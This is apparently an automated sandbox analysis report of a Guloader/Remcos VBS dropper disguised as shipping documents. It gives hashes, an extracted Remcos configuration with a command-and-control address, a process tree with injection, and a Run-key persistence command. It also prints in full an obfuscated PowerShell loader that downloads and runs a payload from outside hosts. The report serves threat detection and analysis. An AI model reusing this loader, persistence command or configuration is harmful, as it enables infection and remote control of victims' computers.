Analysis
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max time kernel
117s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
25/03/2024, 13:15
Static task
static1
Behavioral task
behavioral1
Sample
awb_shipping_documents_25_03_2024_000000000.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
awb_shipping_documents_25_03_2024_000000000.vbs
Resource
win10v2004-20240226-en
General
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Target
awb_shipping_documents_25_03_2024_000000000.vbs
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Size
237KB
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MD5
937285e67679dcbd6d3a218cff5723e4
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SHA1
73023fa293fc84f1db845a75a4be3c2337c8da4d
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SHA256
d90f3ab705edef2a59cc39b6269f1a149f0f6e43e0aa4f128d05c1697726bcdb
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SHA512
607ea5c0cf19a5776d60c15942c28b5e9433e52f72abad0b250d7abb72f98721210d328c6915051cd9b2fa215a938ed64eebb20de3dc6b9511f2a2fa3cb1b773
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SSDEEP
6144:lyhQMLtOBxJrv5lttSP4KuK8jWwoipSRUiGT9rS2fTicm7jImE9uAI:ekVBDjI
Malware Config
Extracted
remcos
Latest
85.209.176.69:57484
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
true
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install_flag
false
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keylog_crypt
false
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keylog_file
pavnspt.dat
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keylog_flag
false
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keylog_path
%AppData%
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mouse_option
false
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mutex
lakosegtst-I6VUY0
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
- startup_value
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
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Blocklisted process makes network request 1 IoCs
flow pid Process 3 1736 WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000\Software\Microsoft\Windows\CurrentVersion\Run\Epizoa213 = "%Overborgmesteren% -w 1 $Skrubbenes31=(Get-ItemProperty -Path 'HKCU:\\antimakassar\\').Nissehue183;%Overborgmesteren% ($Skrubbenes31)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
pid Process 1344 wab.exe 1344 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2652 powershell.exe 1344 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2652 set thread context of 1344 2652 powershell.exe 36 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry key 1 TTPs 1 IoCs
pid Process 2648 reg.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2404 powershell.exe 2652 powershell.exe 2652 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2652 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2404 powershell.exe Token: SeDebugPrivilege 2652 powershell.exe -
Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 1736 wrote to memory of 2404 1736 WScript.exe 29 PID 1736 wrote to memory of 2404 1736 WScript.exe 29 PID 1736 wrote to memory of 2404 1736 WScript.exe 29 PID 2404 wrote to memory of 2672 2404 powershell.exe 31 PID 2404 wrote to memory of 2672 2404 powershell.exe 31 PID 2404 wrote to memory of 2672 2404 powershell.exe 31 PID 2404 wrote to memory of 2652 2404 powershell.exe 32 PID 2404 wrote to memory of 2652 2404 powershell.exe 32 PID 2404 wrote to memory of 2652 2404 powershell.exe 32 PID 2404 wrote to memory of 2652 2404 powershell.exe 32 PID 2652 wrote to memory of 1204 2652 powershell.exe 33 PID 2652 wrote to memory of 1204 2652 powershell.exe 33 PID 2652 wrote to memory of 1204 2652 powershell.exe 33 PID 2652 wrote to memory of 1204 2652 powershell.exe 33 PID 2652 wrote to memory of 1344 2652 powershell.exe 36 PID 2652 wrote to memory of 1344 2652 powershell.exe 36 PID 2652 wrote to memory of 1344 2652 powershell.exe 36 PID 2652 wrote to memory of 1344 2652 powershell.exe 36 PID 2652 wrote to memory of 1344 2652 powershell.exe 36 PID 2652 wrote to memory of 1344 2652 powershell.exe 36 PID 1344 wrote to memory of 2796 1344 wab.exe 37 PID 1344 wrote to memory of 2796 1344 wab.exe 37 PID 1344 wrote to memory of 2796 1344 wab.exe 37 PID 1344 wrote to memory of 2796 1344 wab.exe 37 PID 2796 wrote to memory of 2648 2796 cmd.exe 39 PID 2796 wrote to memory of 2648 2796 cmd.exe 39 PID 2796 wrote to memory of 2648 2796 cmd.exe 39 PID 2796 wrote to memory of 2648 2796 cmd.exe 39
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\awb_shipping_documents_25_03_2024_000000000.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1736 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Patchy Corporis Vergaloo #>;<#sndagsskolers Paws Alexandrite Skit #>;New-Item -Path 'reservats:\Forfaldt' -Name 'Tiptipoldemoders' -ItemType 'file';<#Conto Perty Rkefjolss blencorn Vitrinernes #>;Function Tulipa ([String]$superofficiously){$Urikonografi = 2;For($Uri=1; $Uri -lt $superofficiously.Length-1; $Uri+=$Urikonografi){ $Urstrukturens = $superofficiously.Substring($Uri, $Forkhead); $Distingverende80=$Distingverende80+$Urstrukturens; }$Distingverende80;}$Forkhead = (cmd /c 'echo 1 && exit');if (Test-Path 'reservats:\Forfaldt\Tiptipoldemoders') {$Forkhead--};$Agillawood224=Tulipa ' i,eRxE ';$Outfound=Tulipa '.TSr a n,s fVeSr,rDi,nDg, ';$Monochordist = Tulipa 'A\Ss yDs wUoJw 6S4H\FW i.n,dHoFw,s PBo,wFePrPSFh,eTl l \Gv 1,. 0K\SpdoAwse,r.sKhue l.lB. e xVe. ';function Forefather ($Firetages){. ($Agillawood224) ($Firetages);}$Strangler=Tulipa '.hPtPtApR: /./V1 4.7D.r7P8.. 1 0h3U.A2 5 0R/ S pUr r eUr eNg e lo. pRsPdB>shGtStOp.: /P/I8.5,.F2 0r9 . 1S7,6M.O4.6,/GSTpCr.r e rSe g,eSl .Sp s.dS ';$Formbrndselsfabrikken236=$Strangler.split([char]62);$Strangler=$Formbrndselsfabrikken236[0];Forefather (Tulipa ' $CgPlSo.bDaBld:BF y sHi,oJt eSrBaGp,eSu.tEsDk oWlRe r =K$AeRnUv.: wTiUntdFiEr ') ;Forefather (Tulipa ' $ g l.opbTa l.:BL,eHvHiSnRe r = $ F yAsHi oRtne rSa,pLeFuPt s kUoMl eFr.+ $AM o n,o cDh,o r dLi s tN ') ;Forefather (Tulipa 'T$ gUlNo b afl :RHPaSa nAd.vArSkNe tEs .=A ,( (Kg wAm iS w iDnU3 2,_,p r.o.c eMs s. -,F. P,rSoZcNeGs s I d =D$,{PP IKD,} )A. C o m m aHn d.L,i n e.). .- s,p lMi t. b[.cPh aJr ] 3B4E ');Forefather (Tulipa ' $ g.lFoCb.a,lg: R dUtA1I8.5D .=, T$AH.aSa n d v r.k e t s [ $ H,aOaSn dLvGrBkEeTt s .FcBo,u.nEtV-M2S] ');Forefather (Tulipa 'A$tgPlRo b,a.l.: OHvhe.rVb eAf oAl k nMiSnSg.eSn,s = (,TOe s t - P,aTt hB .$ L.eVvUifnBe rM) F- AAn dT T(.[ I nst PDtAr ] :P: sKiKzOe M- eEqF 8E) ') ;if ($Overbefolkningens) {& $Leviner $Rdt185;} else {;$Genealogists=Tulipa 'A$ g,l,oTbNa l : M.iGn,i,f iseTdJ ,= ,SAt.a r tS-PB iLtAseTarSa nRs f eNr. -NSToFu r,c e, G$ISOt r a n g,lUe r. -DDSeBs t iknSa tvi.oLn, O$ FEyMs i o t.e,rRaep.eOuPtSs.k,o.l.e.rB ';Forefather (Tulipa '.$Ag lVo b.aTlM: FLySsfiToIt e,rMaFp,eSu.tOsBkRoklbeMr = $,eonKv :Sa pCp d aSt aE ') ;Forefather (Tulipa '.I mMpOowrOtT-.M o dTuAl.e, BEiStEs,T rMa n s f e.rG ') ;$Fysioterapeutskoler=$Fysioterapeutskoler+'\Judicial.Ara' ;Forefather (Tulipa ',$,g l.o b,a lA:ICThDoUl eSlTiItAh.odt.o.m yn= (ST,e sEtN-,P.aGt hS ,$VF,ySsUi,oRt,eAr a.pVeSuNtesTkBo,l e r ), ') ;while (-not $Cholelithotomy) {Forefather (Tulipa ' IAf ( $TM i.n.i fPi eBdK.DJ opbAS.t.aDt ei -Re qH ,$.OWu tNf o u,n d.)F K{YS.tPa,r.tc- SClDeBeVp M1C} etlAs.eN{SSOt a,r tf-NS l eFe pB 1S;TFSoSrBe f aPt h,e.rP ,$.GBeEn.e a lKo g i sot sA}D ');Forefather (Tulipa 'F$Eg.lHokb.a lP:aC hHo,l eMl iVtKhSo tSoRm y = (,T,e s t.-.P aNt,hM K$ FNy,s i ovt eTr.a.pCe u t s k oBlKe r )S ') ;$Strangler=$Formbrndselsfabrikken236[$Precompiler++%$Formbrndselsfabrikken236.count];}Forefather (Tulipa '.$Ggal o,bSaOlA:UP aDsFs.a gHe.r eCrPnRe.sN t=D TGNeAtT-BC o nutUeQn.tD D$,FAy,s iSo.t,e r alpFeRuEtSs.k oIl,eNr ');Forefather (Tulipa 'K$Hg lDo.bBaPlN:DD.uGr o mOeLtHe,rRs = [.S yVsStPe m,. C,o nBv e rDt.]D:R: F ruo,m BPaKs e,6O4DSPtLrSiNnFg (J$ P aGsTs a.gteUr eBr.n e s,) ');Forefather (Tulipa 'I$,g lWo bBaOl.:,V.aSlCm.u.eB S=f S[.SRyFs t eUmB.,TSe x tK. E nFcuo,d iHnKg ].:P:UAPSTC.IVIS.,G.eSt.SFtTr i,n.g (.$ DHu,r.o.m eHtReDrKs )H ');Forefather (Tulipa ' $ g l.o,bPaAl,:SCueNp.h a.l o,cHhCoSr dEaS=A$,V a.lEm,uSe,.Ps,u b,s tUrHiFnKg (.2E9R1I1M8L6S, 2 3K4S0E0C)S ');Forefather $Cephalochorda;};;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2404 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 1 && exit"3⤵PID:2672
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C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Patchy Corporis Vergaloo #>;<#sndagsskolers Paws Alexandrite Skit #>;New-Item -Path 'reservats:\Forfaldt' -Name 'Tiptipoldemoders' -ItemType 'file';<#Conto Perty Rkefjolss blencorn Vitrinernes #>;Function Tulipa ([String]$superofficiously){$Urikonografi = 2;For($Uri=1; $Uri -lt $superofficiously.Length-1; $Uri+=$Urikonografi){ $Urstrukturens = $superofficiously.Substring($Uri, $Forkhead); $Distingverende80=$Distingverende80+$Urstrukturens; }$Distingverende80;}$Forkhead = (cmd /c 'echo 1 && exit');if (Test-Path 'reservats:\Forfaldt\Tiptipoldemoders') {$Forkhead--};$Agillawood224=Tulipa ' i,eRxE ';$Outfound=Tulipa '.TSr a n,s fVeSr,rDi,nDg, ';$Monochordist = Tulipa 'A\Ss yDs wUoJw 6S4H\FW i.n,dHoFw,s PBo,wFePrPSFh,eTl l \Gv 1,. 0K\SpdoAwse,r.sKhue l.lB. e xVe. ';function Forefather ($Firetages){. ($Agillawood224) ($Firetages);}$Strangler=Tulipa '.hPtPtApR: /./V1 4.7D.r7P8.. 1 0h3U.A2 5 0R/ S pUr r eUr eNg e lo. pRsPdB>shGtStOp.: /P/I8.5,.F2 0r9 . 1S7,6M.O4.6,/GSTpCr.r e rSe g,eSl .Sp s.dS ';$Formbrndselsfabrikken236=$Strangler.split([char]62);$Strangler=$Formbrndselsfabrikken236[0];Forefather (Tulipa ' $CgPlSo.bDaBld:BF y sHi,oJt eSrBaGp,eSu.tEsDk oWlRe r =K$AeRnUv.: wTiUntdFiEr ') ;Forefather (Tulipa ' $ g l.opbTa l.:BL,eHvHiSnRe r = $ F yAsHi oRtne rSa,pLeFuPt s kUoMl eFr.+ $AM o n,o cDh,o r dLi s tN ') ;Forefather (Tulipa 'T$ gUlNo b afl :RHPaSa nAd.vArSkNe tEs .=A ,( (Kg wAm iS w iDnU3 2,_,p r.o.c eMs s. -,F. P,rSoZcNeGs s I d =D$,{PP IKD,} )A. C o m m aHn d.L,i n e.). .- s,p lMi t. b[.cPh aJr ] 3B4E ');Forefather (Tulipa ' $ g.lFoCb.a,lg: R dUtA1I8.5D .=, T$AH.aSa n d v r.k e t s [ $ H,aOaSn dLvGrBkEeTt s .FcBo,u.nEtV-M2S] ');Forefather (Tulipa 'A$tgPlRo b,a.l.: OHvhe.rVb eAf oAl k nMiSnSg.eSn,s = (,TOe s t - P,aTt hB .$ L.eVvUifnBe rM) F- AAn dT T(.[ I nst PDtAr ] :P: sKiKzOe M- eEqF 8E) ') ;if ($Overbefolkningens) {& $Leviner $Rdt185;} else {;$Genealogists=Tulipa 'A$ g,l,oTbNa l : M.iGn,i,f iseTdJ ,= ,SAt.a r tS-PB iLtAseTarSa nRs f eNr. -NSToFu r,c e, G$ISOt r a n g,lUe r. -DDSeBs t iknSa tvi.oLn, O$ FEyMs i o t.e,rRaep.eOuPtSs.k,o.l.e.rB ';Forefather (Tulipa '.$Ag lVo b.aTlM: FLySsfiToIt e,rMaFp,eSu.tOsBkRoklbeMr = $,eonKv :Sa pCp d aSt aE ') ;Forefather (Tulipa '.I mMpOowrOtT-.M o dTuAl.e, BEiStEs,T rMa n s f e.rG ') ;$Fysioterapeutskoler=$Fysioterapeutskoler+'\Judicial.Ara' ;Forefather (Tulipa ',$,g l.o b,a lA:ICThDoUl eSlTiItAh.odt.o.m yn= (ST,e sEtN-,P.aGt hS ,$VF,ySsUi,oRt,eAr a.pVeSuNtesTkBo,l e r ), ') ;while (-not $Cholelithotomy) {Forefather (Tulipa ' IAf ( $TM i.n.i fPi eBdK.DJ opbAS.t.aDt ei -Re qH ,$.OWu tNf o u,n d.)F K{YS.tPa,r.tc- SClDeBeVp M1C} etlAs.eN{SSOt a,r tf-NS l eFe pB 1S;TFSoSrBe f aPt h,e.rP ,$.GBeEn.e a lKo g i sot sA}D ');Forefather (Tulipa 'F$Eg.lHokb.a lP:aC hHo,l eMl iVtKhSo tSoRm y = (,T,e s t.-.P aNt,hM K$ FNy,s i ovt eTr.a.pCe u t s k oBlKe r )S ') ;$Strangler=$Formbrndselsfabrikken236[$Precompiler++%$Formbrndselsfabrikken236.count];}Forefather (Tulipa '.$Ggal o,bSaOlA:UP aDsFs.a gHe.r eCrPnRe.sN t=D TGNeAtT-BC o nutUeQn.tD D$,FAy,s iSo.t,e r alpFeRuEtSs.k oIl,eNr ');Forefather (Tulipa 'K$Hg lDo.bBaPlN:DD.uGr o mOeLtHe,rRs = [.S yVsStPe m,. C,o nBv e rDt.]D:R: F ruo,m BPaKs e,6O4DSPtLrSiNnFg (J$ P aGsTs a.gteUr eBr.n e s,) ');Forefather (Tulipa 'I$,g lWo bBaOl.:,V.aSlCm.u.eB S=f S[.SRyFs t eUmB.,TSe x tK. E nFcuo,d iHnKg ].:P:UAPSTC.IVIS.,G.eSt.SFtTr i,n.g (.$ DHu,r.o.m eHtReDrKs )H ');Forefather (Tulipa ' $ g l.o,bPaAl,:SCueNp.h a.l o,cHhCoSr dEaS=A$,V a.lEm,uSe,.Ps,u b,s tUrHiFnKg (.2E9R1I1M8L6S, 2 3K4S0E0C)S ');Forefather $Cephalochorda;};;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2652 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo 1 && exit"4⤵PID:1204
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:1344 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Epizoa213" /t REG_EXPAND_SZ /d "%Overborgmesteren% -w 1 $Skrubbenes31=(Get-ItemProperty -Path 'HKCU:\antimakassar\').Nissehue183;%Overborgmesteren% ($Skrubbenes31)"5⤵
- Suspicious use of WriteProcessMemory
PID:2796 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Epizoa213" /t REG_EXPAND_SZ /d "%Overborgmesteren% -w 1 $Skrubbenes31=(Get-ItemProperty -Path 'HKCU:\antimakassar\').Nissehue183;%Overborgmesteren% ($Skrubbenes31)"6⤵
- Adds Run key to start application
- Modifies registry key
PID:2648
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
67KB
MD5753df6889fd7410a2e9fe333da83a429
SHA13c425f16e8267186061dd48ac1c77c122962456e
SHA256b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78
SHA5129d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD556806503d509b74473ee9cd6de3ee361
SHA199d3ebf5f6726c1bd224349d858d15cef1d76835
SHA25603c56f28cf9424b093882e6d5bc0edcbcffe15315348046f6e5d4f7ef6bccc2f
SHA5123a618c9e42f0741be6a57a126554cdaaed87eae96ef78accf5f91753a320a96f3ad5b38d327eb539e44274f1a6e57962ab00addfaaac9a7a119404fd903e774f
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Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
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Filesize
171KB
MD59c0c641c06238516f27941aa1166d427
SHA164cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA2564276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
SHA512936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06
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Filesize
175KB
MD5dd73cead4b93366cf3465c8cd32e2796
SHA174546226dfe9ceb8184651e920d1dbfb432b314e
SHA256a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22
SHA512ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IP3KYTWLGLS12BKGRK4S.temp
Filesize7KB
MD5e6855b698fbeceacb3b4c96de7246444
SHA1fa81d0a6e58baa9bb4256a36e5594c00d0cb257a
SHA25675d6628cd01af0afc387545948b4fc74f2204bddf969772f57d57effc2b85ae9
SHA51280995c986c267f6ee94a4129c99fbe2e2929ce8786ec5275558ba4db771807da8aaeaebee7eb66ab8bc053652c3132a4e4a6f0e171c836adc4dffc0fe15e8ebe